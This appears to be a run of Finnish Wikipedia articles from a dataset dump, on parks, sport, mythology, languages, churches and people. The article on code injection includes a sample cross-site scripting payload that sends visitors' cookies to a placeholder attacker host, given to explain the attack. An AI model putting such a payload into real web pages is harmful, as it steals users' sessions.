stanford-oval/wikipedia huggingface dataset:
Tammisaaren saariston kansallispuisto
Kävijämäärät

Vuonna 2021 puistossa kirjattiin 59 400 kävijää. Samana vuonna tehdyn kävijätutkimuksen mukaan suosituimmat vierailukohteet olivat Jussarö, Rödjan, Modermagan ja Fladalandet. Tutkimukseen osallistuneista 76 prosenttia yöpyi kansallispuistossa ja 24 prosenttia oli päiväkävijöitä. Osallistuneista 69 prosenttia oli käynyt puistossa aikaisemmin. Vuonna 2023 kävijöitä oli 53 200.
Nähtävyydet

Älgön saari, jossa sijaitsee Rödjanin luontotupa
Jussarö
Fladalandet
Modermagan
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Tammisaaren saariston kansallispuisto Wikimedia Commonsissa
Luontoon.fi: Tammisaaren saariston kansallispuisto
Visit Raseborg: Tammisaaren saariston kansallispuisto
Rödjanin tila Älgön saarella toimii luontotupana.
Tymošenkon I hallitus

Julija Tymošenkon hallitus nimitettiin Ukrainaan keväällä 2005 edellisvuoden presidentinvaalien tuloksen tultua vahvistetuksi. Hallitus joutui eroamaan syyskuussa 2005 Tymošenkon aloittamien korruptiotutkimusten ja hänen venäjänsuhteidensa takia. Hän ei pääministeriaikanaan vieraillut kertaakaan Venäjällä ja Moskovan sotilassyyttäjä piti voimassa häntä koskeneen kansainvälisen etsintäkuulutuksen, joka on myöhemmin peruttu.
Hallituksen eroamisen vuoksi oranssikoalitio jakautui kahtia Julija Tymošenkon ryhmittymän erottua presidentti Viktor Juštšenkoa tukevasta ja Viktor Janukovytšin johtaman Alueiden puolueen kanssa kilpailevasta Meidän Ukrainamme-ryhmittymästä.
Ukrainan hallitukset
Fokin | Kutšma | Masol | Martšuk | Lazarenko | Pustovoitenko | Juštšenko | Kinah’ | Janukovytš I | Tymošenko I | Jeh’anurov | Janukovytš II | Tymošenko II | Azarov I | Azarov II | Jatsenjuk I | Jatsenjuk II | Hroisman | Hontšaruk | Šmyhal
TUL Cup 2008

| TUL Cupin kausi 2008 |
| --- | --- |
Joukkueiden määrä:  6
Ajankohta:  1. maaliskuuta – 2. maaliskuuta 2008
Mestari:  Kotkan Työväen Palloilijat
  ← 2007 :  2009 → 
TUL Cup 2009 oli 69. kerran järjestetty Työväen Urheiluliiton jalkapallomestaruuskilpailu, joka pelattiin Kotkassa Ruonalan urheiluhallissa maaliskuussa 2008. Turnaukseen osallistui kuusi joukkuetta, joista mestaruuden voitti Kotkan Työväen Palloilijat. Kyseessä oli KTP:n kymmenes TUL:n mestaruus. Myöhemmin seura valittiin voittonsa ansiosta TUL:n Kymenlaakson piirin Vuoden joukkueeksi.
Pelitapa

Vuoden 2009 TUL Cupissa järjestettiin kolmet aluekarsinnat, joista jatkoon selvinneiden joukkueiden lisäksi lopputurnauksessa olivat mukana FC KooTeePee sekä virolainen JK Tallinna Kalev. Alkulohkot pelattiin lauantaina 2×30 minuutin pituisina otteluina ja sijoitusottelut sunnuntaina normaalimittaisina.
Lopputurnauksen joukkueet

| Joukkue | Kotipaikka | Sarjataso 2008 |
| --- | --- | --- |
| FC KooTeePee | Kotka | Veikkausliiga |
| JK Tallinna Kalev | Tallinna | Meistriliiga |
| Kotkan Työväen Palloilijat | Kotka | Kakkonen |
| Tampereen Peli-Pojat-70 | Tampere | Kakkonen |
| Äänekosken Huima | Äänekoski | Kakkonen |
| Ruosniemen Visa | Pori | Kolmonen |
Aluekarsinnat > Satakunta / Etelä-Pohjanmaa

Karsintaturnaus järjestettiin Porin Karhuhallissa 9. helmikuuta 2008. Ottelut pelattiin 2×30 minuutin pituisina.
| S | Joukkue | O | V | T | H | TM | PM | ME | Pist  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | Ruosniemen Visa | 3 | 3 | 0 | 0 | 10 | 2 | +8 | 9  |
| 2 | Musan Salama | 3 | 2 | 0 | 1 | 10 | 4 | +6 | 6  |
| 3 | Toejoen Veikot | 3 | 1 | 0 | 2 | 2 | 7 | −5 | 3  |
| 4 | Seinäjoen Sisu | 3 | 0 | 0 | 3 | 1 | 10 | −9 | 0  |
Aluekarsinnat > Pirkanmaa

Aluekarsinnat pelattiin tammi–helmikuussa 2008.
| S | Joukkue | O | V | T | H | TM | PM | ME | Pist  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | PP-70 | 2 | 2 | 0 | 0 | 5 | 1 | +4 | 6  |
| 2 | TPV | 2 | 1 | 0 | 1 | 3 | 2 | +1 | 3  |
| 3 | TKT | 2 | 0 | 0 | 2 | 0 | 5 | −5 | 0  |
Aluekarsinnat > Kaakkois-Suomi / Keski-Suomi / Itä-Suomi

Kotkassa 9. helmikuuta 2008 järjestettyyn aluekarsintaan osallistuivat KTP, PoPo, Warkaus JK ja Huima, joista lopputurnaukseen selvisivät KTP ja Huima.
Lohko A > Sarjataulukko

| S | Joukkue | O | V | T | H | TM | PM | ME | Pist  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | Huima | 2 | 1 | 1 | 0 | 3 | 2 | +1 | 4  |
| 2 | FC KooTeePee | 2 | 1 | 0 | 1 | 1 | 1 | 0 | 3  |
| 3 | Kalev | 2 | 0 | 1 | 1 | 2 | 3 | −1 | 1  |
Lohko B > Sarjataulukko

| S | Joukkue | O | V | T | H | TM | PM | ME | Pist  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | KTP | 2 | 1 | 1 | 0 | 5 | 1 | +4 | 4  |
| 2 | PP-70 | 2 | 1 | 1 | 0 | 4 | 3 | +1 | 4  |
| 3 | RuoVi | 2 | 0 | 0 | 2 | 2 | 7 | −5 | 0  |
Tyndall

Tyndall on seuraavien henkilöiden sukunimi:
John Tyndall (1820–1893), irlantilainen fyysikko
John Tyndall (1934–2005), brittiläinen äärioikeistolainen poliitikko
Keaton Tyndall (s. 1992), yhdysvaltalainen näyttelijä
Kylie Tyndall (s. 1992), yhdysvaltalainen näyttelijä, Keaton Tyndallin kaksoissisar
Louisa Tyndall (1845–1940), englantilainen aatelisnainen ja fyysikko, John Tyndallin puoliso.
| --- | --- |
: Tällä täsmennyssivulla luetellaan henkilöitä, joilla on sama sukunimi.
Teemu Suninen

| Teemu Suninen |
| --- | --- |
 Suninen vuonna 2023 Keski-Euroopan rallissa.
Henkilötiedot
Syntynyt: 1. helmikuuta 1994 (ikä 30) Tuusula
Kansalaisuus:   Suomi
WRC-ura
Aktiivivuodet:  2015–
Entiset tallit:  Team Oreca, M-Sport
Kilpailuja:  84
Maailmanmestaruuksia:  0
Voittoja:  0
Palkintosijoja:  3
Erikoiskoevoittoja:  15
MM-pisteitä:  304
Ensimmäinen kilpailu:  Suomen ralli 2014
Sijoitus kaudella 2023:  9. (42 p.)
Aiheesta muualla
www.teemusuninen.com
Teemu Suninen (s. 1. helmikuuta 1994 Tuusula) on suomalainen autourheilija, joka kilpailee nykyisin rallissa. Hänen nykyinen kartanlukija on Mikko Markkula, jonka kanssa Suninen aloitti yhteistyön ensimmäistä kertaa vuonna 2015. Sunisen paras sijoitus rallin MM-sarjassa tuli Sardiniasta 2019, jossa hän ja Jarmo Lehtinen sijoittuivat toiseksi.
Vuodesta 2022 lähtien Suninen on toiminut C Moren ja MTV3:n ralliasiantuntijana silloin, kun hän ei itse kilpaile.
Ura

Suninen aloitti uransa kartingin parissa ja saavutti lajin Suomen mestaruuden lisäksi EM-pronssia ja oli MM-kisassa neljäs. Hän ajoi kaudella 2012 rallicrossin EM-sarjassa. Uran neljännessä rallicross-kilpailussa Saksassa tuli jo voitto.
Vuonna 2013 Suninen vaihtoi ralliin. Hän ajoi ensimmäisen WRC-osakilpailunsa Suomen rallissa 2014 WRC3-luokassa. Suninen voitti luokan osakilpailun ylivoimaisesti ja oli kokonaistuloksissakin peräti 17.
Vuonna 2015 Suninen ajoi WRC-2 -luokassa pääsääntöisesti Toni Gardemeisterin TGS Worldwide -tallin Škoda Fabia S2000 -autolla. Portugalin, Sardinian ja Suomen MM-rallit Suninen ajoi Team Orecan WRC 3 -luokan Citroenilla. Saksan, Korsikan ja Katalonian asvalttiralleissa alla oli Orecan uusi Ford Fiesta R5. Kauden päätteeksi Suninen oli yhdeksännellä sijalla sekä WRC 2- että WRC 3 -luokkien MM-pisteissä.
Vuonna 2016 Suninen ajoi WRC 2 -luokassa uudella Škoda Fabia R5:llä sekä TGS Worldwiden että Team Orecan talleissa. Suninen ajoi useita luokkavoittoja ja Sardinian MM-rallin yleiskilpailussa kahdeksanneksi. Kauden loppupisteissä Suninen oli WRC 2 -luokan toinen, kymmenen pistettä Esapekka Lapille jääneenä. Kokonaiskilpailussa pisteet oikeuttivat 18. sijalle.
Vuonna 2017 Suninen pääsi M-Sportin tehdaskuljettajaksi. Suninen kilpaili kauden pääasiassa WRC 2 -luokan kalustolla, mutta pääsi ajamaan Suomen MM-rallin täysiverisellä WRC-autolla. WRC-debyyttikisasta Suomessa tuloksena oli neljäs sija. WRC 2 -luokan lopputuloksissa kauden päätteeksi Suninen sijoittui kolmanneksi.
Vuonna 2018 Suninen jatkoi kilpailemista M-Sportin autoilla. Kauden avauksessa Monte Carlossa hän ajoi Ford Fiesta R5:llä ja muut kauden kilpailut Ford Fiesta WRC:llä. Portugalin rallista tuloksena oli uran ensimmäinen palkintokorokesijoitus Thierry Neuvillen ja Elfyn Evansin takana.
Kausi 2019 oli Sunisen ensimmäinen kokonainen kausi WRC-auton ratissa, edelleen M-Sportin Ford Fiestalla. Kohokohta oli Sardiniassa saavutettu kakkosija uuden kartanlukijan Jarmo Lehtisen kanssa.
Suninen pääsi ajamaan kauden 2021 päätösrallin marraskuussa Monzassa Hyundain WRC-autolla, kun Ott Tänak jäi pois rallista.
Suomen rallissa 2022 Suninen voitti WRC2-luokan kilpailun, mutta hylättiin kilpailun jälkeisessä katsastuksessa, jonka mukaan auton etupuskuri oli liian kevyt. Kaudella 2022 Suninen sijoittui WRC2-luokassa kuudenneksi.
Kesäkuussa 2023 ilmoitettiin, että Suninen ajaa Hyundai Motorsportin Rally1-autolla Viron ja Suomen rallissa Craig Breenin tilalla. Suninen ajaa myös Chilen MM-rallissa. Lisäksi Suninen ajaa Itävallan rallisarjaan kuuluvassa Bucklige Welt -rallissa ja Keski-Euroopan MM-rallissa.
Kaudelle 2024 Suninen ei saanut Rally1-paikkaa, mutta hän tulee ajamaan WRC 2 -luokassa myöhemmin ilmoitettavassa tallissa. Suninen ajaa CHL Sport Auto -tallissa Hyundai i20 N Rally2 -autolla.
Rallin MM-sarjan tulokset

(Tulosselitteet)
| Kausi | Talli | Auto | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | Pisteet | Sijoitus |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2014 | AKK Sports Team Finland | DS3 R3T | MON   | SWE   | MEX   | POR   | ARG   | ITA   | POL   | FIN 17 | GER   | AUS   | FRA   | ESP   | GBR   |  | 0 | NC |
| 2015 | Team Oreca | DS3 R3T | MON   | SWE   | MEX   | ARG   | POR Kesk. | ITA 34 |  | FIN 54 |  |  |  |  |  |  | 0 | NC |
| 2015 | TGS Worldwide | Fabia S2000 |  |  |  |  |  |  | POL 19 |  |  |  |  |  | GBR 11 |  | 0 | NC |
| 2015 | Team Oreca | Fiesta R5 |  |  |  |  |  |  |  |  | GER 19 | AUS   | FRA 18 | ESP 37 |  |  | 0 | NC |
| 2016 | Team Oreca | Fabia R5 | MON 12 | SWE 10 |  | ARG   | POR 46 | ITA 8 | POL 11 | FIN 10 | GER 56 | CHN C | FRA 15 | ESP 28 | GBR 14 | AUS   | 8 | 18. |
| 2016 | TGS Worldwide | Fabia R5 |  |  | MEX 9 |  |  |  |  |  |  |  |  |  |  |  | 8 | 18. |
| 2017 | M-Sport WRT | Fiesta R5 | MON   | SWE 10 | MEX   | FRA 8 | ARG   | POR 12 | ITA   |  |  | GER 16 | ESP 8 | GBR 31 | AUS   |  | 29 | 14. |
| 2017 | M-Sport WRT | Fiesta WRC |  |  |  |  |  |  |  | POL 6 | FIN 4 |  |  |  |  |  | 29 | 14. |
| 2018 | M-Sport Ford WRT | Fiesta R5 | MON 18 |  |  |  |  |  |  |  |  |  |  |  |  |  | 54 | 11. |
| 2018 | M-Sport Ford WRT | Fiesta WRC |  | SWE 8 | MEX 12 | FRA   | ARG 9 | POR 3 | ITA 10 | FIN 6 | GER 5 | TUR 4 | GBR Kesk. | ESP 11 | AUS Kesk. |  | 54 | 11. |
| 2019 | M-Sport Ford WRT | Fiesta WRC | MON 11 | SWE 23 | MEX Kesk. | FRA 5 | ARG 7 | CHL 5 | POR 4 | ITA 2 | FIN 8 | GER 29 | TUR 4 | GBR Kesk. | ESP 7 | AUS C | 89 | 8. |
| 2020 | M-Sport Ford WRT | Fiesta WRC | MON 8 | SWE 8 | MEX 3 | EST 6 | TUR Kesk. | ITA 5 | MNZ Kesk. |  |  |  |  |  |  |  | 44 | 7. |
| 2021 | M-Sport Ford WRT | Fiesta WRC | MON Kesk. | ARC 8 |  |  | ITA 31 |  | EST 6 |  |  |  |  |  |  |  | 29 | 11. |
| 2021 | M-Sport Ford WRT | Ford Fiesta R5 Mk. II |  |  | CRO 10 | POR 8 |  | KEN WD |  | BEL Kesk. | GRE WD |  |  |  |  |  | 29 | 11. |
| 2021 | Movisport | Volkswagen Polo GTI R5 |  |  |  |  |  |  |  |  |  | FIN 8 |  |  |  |  | 29 | 11. |
| 2021 | Hyundai Motorsport N | Hyundai i20 N Rally2 |  |  |  |  |  |  |  |  |  |  | ESP 11 |  |  |  | 29 | 11. |
| 2021 | Hyundai Shell Mobis WRT | Hyundai i20 Coupe WRC |  |  |  |  |  |  |  |  |  |  |  | MNZ 6 |  |  | 29 | 11. |
| 2022 | Hyundai Motorsport N | Hyundai i20 N Rally2 | MON   | SWE   | CRO   | POR Kesk. | ITA 38 | KEN   | EST 9 | FIN DSQ | BEL   | GRE 17 | NZL   | ESP 11 | JPN 8 |  | 9 | 20. |
| 2023 | Hyundai Motorsport N | Hyundai i20 N Rally2 | MON | SWE | MEX | CRO | POR 10 | ITA 6 | KEN |  |  |  |  |  |  |  | 42 | 9. |
| 2023 | Hyundai Motorsport | Hyundai i20 N Rally1 |  |  |  |  |  |  |  | EST 5 | FIN 4 | GRE | CHL Kesk. | EUR 6 | JPN |  | 42 | 9. |
Tyndareus

Tyndareus oli kreikkalaisessa mytologiassa Spartan kuningas, Oibaloksen ja Gorgofonen tai Periereen ja Gorgofonen poika. Tyndareuksen puoliso oli Leda, jonka kanssa heillä oli lapset Helena, Polydeukes, Kastor, Klytaimnestra, Timandra, Foibe ja Filonoe.
Tyndareuksen vaimon Ledan vietteli Zeus joutsenen hahmossa. Leda sai kaksi munaa, joista kummastakin kuoriutui kaksi lasta. Toisesta tulivat Polydeukes ja Helena, Zeuksen lapset, ja toisesta Kastor ja Klytaimnestra, Tyndareuksen lapset.
Tyndareuksen veli Hippokoon anasti vallan Tyndareukselta ja karkotti hänet, mutta Herakles tappoi Hippokoonin ja tämän pojat, mukaan lukien Lykonin, ja nosti Tyndareuksen takaisin valtaan. Tyndareuksen toisen veljen nimi oli Ikarios, josta tuli Penelopen isä.
Thyesteen anastettua vallan Mykenessä surmatun hallitsijan Atreuksen pojat Agamemnon ja Menelaos saapuivat maanpakoon Spartaan. Heidän vartuttuaan Tyndareus auttoi heitä kaatamaan isänsä surmaajat, ja antoi Klytaimnestran Agamemnonille puolisoksi. Helenan kohdalla kosijoita oli kuitenkin huomattavasti enemmän, koska häntä pidettiin maailman kauneimpana naisena.
Kun Helenan tuli aika astua avioon, monet kuninkaat ja prinssit ympäri maailmaa saapuivat pyytämään hänen kättään tai laittoivat lähettiläänsä tekemään sen puolestaan. Kilpakosijoiden joukossa olivat Odysseus, Menestheus, Aias, Diomedes, Patroklos sekä Idomeneus, mutta suosikki oli Menelaos, joka joidenkin lähteiden mukaan ei itse saapunut paikalle, vaan häntä edusti hänen veljensä Agamemnon. Kaikki paitsi Odysseus toivat mukanaan paljon myötäjäislahjoja.
Tyndareus ei uskaltanut valita voittajaa kosijoista tai edes lähettää ketään pois peläten loukkaavansa heitä ja aiheuttavansa siten riitaa kosijoiden keskuudessa. Odysseus lupasi ratkaista ongelman, jos Tyndareus vain auttaisi häntä Penelopen, Ikaroksen tyttären kosiskelussa. Tyndareus suostui tähän heti, ja niin Odysseus ehdotti, että ennen valinnan tekemistä kaikkien kosijoiden tulisi vannoa juhlallinen vala, jossa nämä lupaavat puolustaa valittua puolisoa ketä tahansa vastaan, joka yrittää riitauttaa valinnan. Tämä ratkaisu osoittautuikin toimivaksi, ja niin Helena ja Menelaos naivat toisensa. Tyndareuksen kuoleman jälkeen Menelaoksesta tuli Spartan kuningas, koska ainoat miespuoliset vallanperijät, Kastor ja Polydeukes, olivat kuolleet ja nostettu Olympos-vuorelle.
Joitakin vuosia myöhemmin Paris, Troijan prinssi, saapui Spartaan naidakseen Afroditen hänelle lupaaman Helenan. Helena rakastuikin häneen ja lähti vapaaehtoisesti Spartasta Pariksen mukaan jättäen taakseen Menelaoksen ja Hermionen, heidän yhdeksänvuotiaan tyttärensä.
Menelaoksen onnistunut yritys hakea Helena takaisin saa aikaan Troijan sodan. Sodan loputtua Orestes tappaa Tyndareuksen tyttären ja samalla oman äitinsä Klytaimnestran kostaen isänsä murhan. Tyndareuksen mainitaan edelleen olleen syyttämässä Orestesta tyttärensä kuolemasta, mutta toinen lähde mainitsee Tyndareuksen jo olleen tässä vaiheessa kuollut.
Teemu Sulonen

| Teemu Sulonen> Henkilötiedot |
| --- | --- |
Koko nimi:  Teemu Sulonen
Syntynyt: 7. heinäkuuta 1994 (ikä 30)
Kansalaisuus:   Suomi
Koripalloilija
Pelipaikka:  Heittävä takamies
Pituus:  188 cm
Paino:  84 kg
Nyk. joukkue:  BC Nokia
Sarja:  Korisliiga
Pelaajaura
Seurajoukkueet
2010−2011 2011−2013 2013−2015 2015−2016 2016−2017 2017−2018 2018−:   Honka Akatemia  Honka  JKS  Helsinki Seagulls  FoKoPo  Korihait  BC Nokia
Teemu Sulonen (s. 7. heinäkuuta 1994) on suomalainen koripalloilija, pelipaikaltaan heittävä takamies. Sulonen edustaa kaudella 2018–2019 Korisliigassa pelaavaa BC Nokiaa. Sulosen kasvattajaseura on Leppävaaran Pyrintö.
Pelaajaura

Sulonen pelasi uransa ensimmäiset kolme kautta Tapiolan Hongan I-divisioona-joukkueessa.
Kaudelle 2013–2014 Sulonen siirtyi Järvenpääläiseen JKS Baskettiin. Kauden 2014–2015 Sulonen jatkoi Järvenpäässä, mutta yhteistyösopimuksen avulla hän pääsi pelaamaan Korisliigassa pelaavaan Helsinki Seagullsiin. Kauden 2015–2016 Sulonen pelasi kokonaan Seagullsin riveissä.
Heinäkuussa 2016 Sulonen palasi I-divisioonaan ja teki sopimuksen Forssan Koripoikien kanssa. Kausi 2016–2017 oli Sulosen tehokkain kausi I-divisioonassa, kun hän heitti 17,9 pistettä per peli ja upotti kolmen pisteen heittonsa 40,6 %:n tarkkuudella.
29. kesäkuuta 2017 Sulonen teki sopimuksen Korisliigassa pelaavaan uusikaupunkilaiseen Korihaihin. Sulonen teki läpimurtonsa Korisliigassa, kun hän teki 6,8 pistettä per peli ja heitti kolmen pisteen heitot 38,4 %:n tarkkuudella, ollen yksi Korihaiden parhaimmista heittäjistä.
29. kesäkuuta 2018 Sulonen teki 1+1-vuotisen sopimuksen BC Nokian kanssa.
Tilastot > Korisliiga

| Kausi | Joukkue | O | MIN | 2P % | 3P % | 1P % | HL | PL | LEV | S | M | R | T | PTS | PTS YHT |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2014–2015 | Seagulls | 16 | 02:54 | 37,5 % | 43,8 % | 66,7 % | 0,1 | – | 0,1 | – | 0,1 | – | – | 1,8 | 29 |
| 2015–2016 | Seagulls | 22 | 03:41 | 23,1 % | 37,5 % | 50,1 % | – | 0,2 | 0,2 | 0,1 | 0,0 | – | – | 1,5 | 34 |
| 2017–2018 | Korihait | 39 | 18:31 | 45,1 % | 38,4 % | 80,0 % | 0,4 | 1,1 | 1,4 | 1,7 | 1,1 | 0,3 | 0,0 | 6,8 | 264 |
| 2018–2019 | BC Nokia | 43 | 21:20 | 55,3 % | 33,3 % | 76,5 % | 0,2 | 1,3 | 1,5 | 1,6 | 1,0 | 0,5 | 0,0 | 6,3 | 272 |
| 2019–2020 | BC Nokia | 37 | 12:40 | 54,8 % | 41,5 % | 77,4 % | 0,1 | 0,6 | 0,7 | 1,4 | 0,8 | 0,1 | 0,0 | 5,1 | 187 |
| Yhteensä | Yhteensä | 157 | 14:14 | 49,0 % | 37,3 % | 77,3 % | 0,2 | 0,8 | 1,0 | 1,2 | 0,8 | 0,2 | 0,0 | 5,0 | 786 |
Tilastot > I-divisioona

| Kausi | Joukkue | O | MIN | 2P % | 3P % | 1P % | HL | PL | LEV | S | M | R | T | PTS | PTS YHT |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 2010–2011 | Honka Akatemia | 1 | 17:28 | 33,3 % | 33,3 % | – | – | 1,0 | 1,0 | – | 1,0 | 1,0 | – | 8,0 | 8 |
| 2011–2012 | Honka | 6 | 02:23 | – | 25,0 % | – | – | – | – | – | – | – | – | 0,5 | 3 |
| 2012–2013 | Honka | 11 | 06:43 | 60,0 % | 14,3 % | 100,0 % | 0,1 | 0,4 | 0,5 | 0,2 | 0,3 | 0,1 | – | 2,0 | 22 |
| 2013–2014 | JKS | 27 | 22:28 | 44,1 % | 38,9 % | 86,5 % | 0,3 | 1,4 | 1,7 | 0,4 | 1,7 | 0,4 | 0,0 | 12,5 | 338 |
| 2014–2015 | JKS | 23 | 25:31 | 44,8 % | 38,8 % | 71,1 % | 0,5 | 1,3 | 1,9 | 0,7 | 1,7 | 0,6 | 0,0 | 15,6 | 359 |
| 2016–2017 | FoKoPo | 26 | 34:09 | 52,8 % | 40,6 % | 81,4 % | 0,4 | 2,0 | 2,4 | 3,9 | 2,7 | 1,0 | 0,0 | 17,9 | 466 |
| Yhteensä | Yhteensä | 94 | 23:16 | 48,0 % | 38,6 % | 80,8 % | 0,3 | 1,3 | 1,7 | 1,4 | 1,7 | 0,6 | 0,0 | 12,7 | 1196 |
O = ottelut, MIN = peliminuutit, 2p % = kahden pisteen heittojen onnistumisprosentti, 3p % = kolmen pisteen heittojen onnistumisprosentti, 1p % = vapaaheittojen onnistumisprosentti, HL = hyökkäyslevypallot, PL = puolustuslevypallot, LEV = levypallot yhteensä, S = syötöt, M = menetykset, R = riistot, T = torjunnat, PTS = pistekeskiarvo, PTS YHT = pisteet yhteensä
Tharu

| Tharu |
| --- | --- |
Oma nimi:  थारु (thāru)
Tiedot
Alue:  Nepal
Puhujia:  1 530 000
Kirjaimisto:  devanagari
Kielitieteellinen luokitus
Kielikunta:  indoeurooppalaiset kielet
Kieliryhmä:  indoiranilaiset kielet indoarjalaiset kielet bihar-kielet
 Ohje 
Tharu-kielet ovat ryhmä Nepalissa asuvien tharujen puhumia indoarjalaisia kieliä. Tharu-kielet kuuluvat bihar-kielten ryhmään ja niihin kuuluu yhdeksän kieltä, joiden puhujat ymmärtävät toisiaan vaihtelevasti. Tharu-kieliä kirjoitetaan devanagari-kirjaimistolla. Niillä on vuoden 2011 väestönlaskennan mukaan yhteensä 1 530 000 puhujaa.
Tharu-kielten ryhmään kuuluu yhdeksän kieltä: buksa, chitwania tharu, dangaura tharu, kathariya tharu, kochila tharu, majhi, musasa, rana tharu ja sonha.
Tuomaskristityt

Tuomaskristittyjen risti
Tuomaskristityt ovat syyriankieliseen kristinuskoon haaraan kuuluvia kristittyjä, joiden etninen alkuperä on Intian rannikon nasranikansassa. Tradition mukaan apostoli Tuomas perusti Intiaan ensimmäiset seitsemän seurakuntaa.
Intian uskontojen pitkän historian seurauksena tuomaskristittyjen alkuperästä ei ole paljoa luotettavaa tietoa. Alkuvaiheista tieto onkin levinnyt pitkälti suullisen perimätiedon muodossa. Länsimaalaisten lähetystyöntekijöiden tiedetään kohdanneen Intiassa uuden ajan alussa tuomaskristityiksi itseään kutsuneita kristittyjä.
Tuomaskristittyihin kuuluu nykyään useita ryhmiä, jotka kuuluvat erilaisiin laajempiin yhteisöihin.
Katoliseen kirkkoon kuuluvat ryhmät
Syyrialais-malabarilainen katolinen kirkko (näkemyksestä riippuen joko keskeytyksettä katolinen tai liitetty katoliseen kirkkoon vuonna 1599)
Syyrialais-malankarilainen katolinen kirkko (keskeytyksettä katolinen)
Roomalaiskatolinen eli latinalainen kirkko (keskeytyksettä katolinen, mutta tuotu Intiaan vasta 1400-luvulla)
Orientaaliortodoksiseen kirkkoon kuuluvat ryhmät
Malankaran jakobiittinen syyrialais-ortodoksinen kirkko (osa Antiokian syyrialais-ortodoksista kirkkoa)
Intian ortodoksinen kirkko eli Malankaran syyrialais-ortodoksinen kirkko
Orientaaliortodoksisesta kirkosta irronneet itsenäiset ryhmät
Itsenäinen syyrialais-malabarilainen kirkko
Cosmopolisin hiippakunta
Idän assyrialaiseen kirkkoon kuuluva ryhmä
Intian kaldealais-syyrialainen kirkko
Reformoitu ryhmä
Mar Thoma -kirkko (ehtoollisyhteydessä anglikaanisen kirkkokunnan kanssa)
Evankelikaalinen ryhmä
Pyhän Tuomaan evankelinen kirkko
Tunkeutuminen (tietotekniikka)

Tunkeutuminen (koodi-injektio) on tietokoneen ohjelmavirhe, jollaisen aiheuttaa epäkelpo tieto. Hyökkääjä voi käyttää tunkeutumista lisätäkseen koodia tietokoneohjelmaan muuttaakseen ohjelman tekemiä toimenpiteitä (suoritusta). Hyökkäyksen tulos voi olla tuhoisa. Tunkeutumista käytetään hyväksi esimerkiksi tietokonemadoissa.
Yleistä ja esimerkki

WWW-palvelimella on vieraskirja skriptinä. Se ottaa vastaan pieniä viestejä käyttäjiltä. Usein viestit ovat muotoa
Nice site!
Vihamielinen hyökkääjä voi tuntea vieraskirjan tietoturvahaavoittuvuuden ja lisää esimerkiksi seuraavankaltaisen viestin:
Nice Site, I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
Kun toinen ihminen lukee vieraskirjaa ja tulee tälle sivulle, hänen tietokoneensa suorittaa lisätyn koodin. Koodi voi personoida hänet hyökkääjäksi. Joka tapauksessa tämä ohjelmavirhe voi aiheuttaa pahaa-aavistamattomalle sivun lukijalle vääristeltyä HTML-koodia.
That post was awesome, :>)
Tässä tapauksessa hymiö tekee HTML-koodin epävaliidiksi, koska koodiin on lisätty väärinmuodostettu HTML-tunniste (tag).
Takashi Tsukamoto

Takashi Tsukamoto (jap. 塚本高史 Tsukamoto Takashi, s. 27. lokakuuta 1982 Tokio, Japani) on japanilainen näyttelijä, laulaja ja malli. Hän on näytellyt Shinji Mimuran roolissa elokuvassa Battle Royale ja Eiji Murakamin roolissa draamasarjassa Kekkon Dekinai Otoko.
Yksityiselämä

Tsukamoto on näytellyt yhdessä ystävänsä, näyttelijä-malli Shun Ogurin kanssa monissa draamasarjoissa, kuten sarjassa Stand Up!!.
Kahden vuoden seurustelun jälkeen Tsukamoto meni naimisiin tyttöystävänsä kanssa 29. toukokuuta 2007, tämän syntymäpäivänä. Heille syntyi tyttö syyskuussa 2007.
Valikoitu filmografia > Draamat

Kisarazu Cat's Eye (2002)
Stand Up!! (2003)
Kekkon Dekinai Otoko (2006)
Tokkyū Tanaka 3 Go (2007)
Valikoitu filmografia > Elokuvat

Battle Royale (2000)
Taiyō no Uta (2006)
Diskografia > Albumit

Jiyuu Honpou (2007)
Diskografia > Singlet

Hi To Ri Go To (ヒ・ト・リ・ゴ・ト) (2003)
Itsudemo Boku wa (いつでも僕は) (2004)
New Morning (2006)
Aiheesta muualla

Takashi Tsukamoto Internet Movie Databasessa. (englanniksi)
Tunja

| Tunja |
| --- | --- |

 lippu:  vaakuna
 Tunja
 Koordinaatit: 5°32′N, 73°22′W 
Valtio:  Kolumbia
Departementti:  Boyacá
Korkeus:  2820 m
Väkiluku (2011):  166 900
Infobox OKVirheellinen NIMI-arvo: 
Tunja on Boyacán departementin pääkaupunki Kolumbiassa. Vuonna 2011 siellä oli 166 900 asukasta.
Kaupungissa on säilynyt paljon siirtomaa-aikaista arkkitehtuuria.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Tunja Wikimedia Commonsissa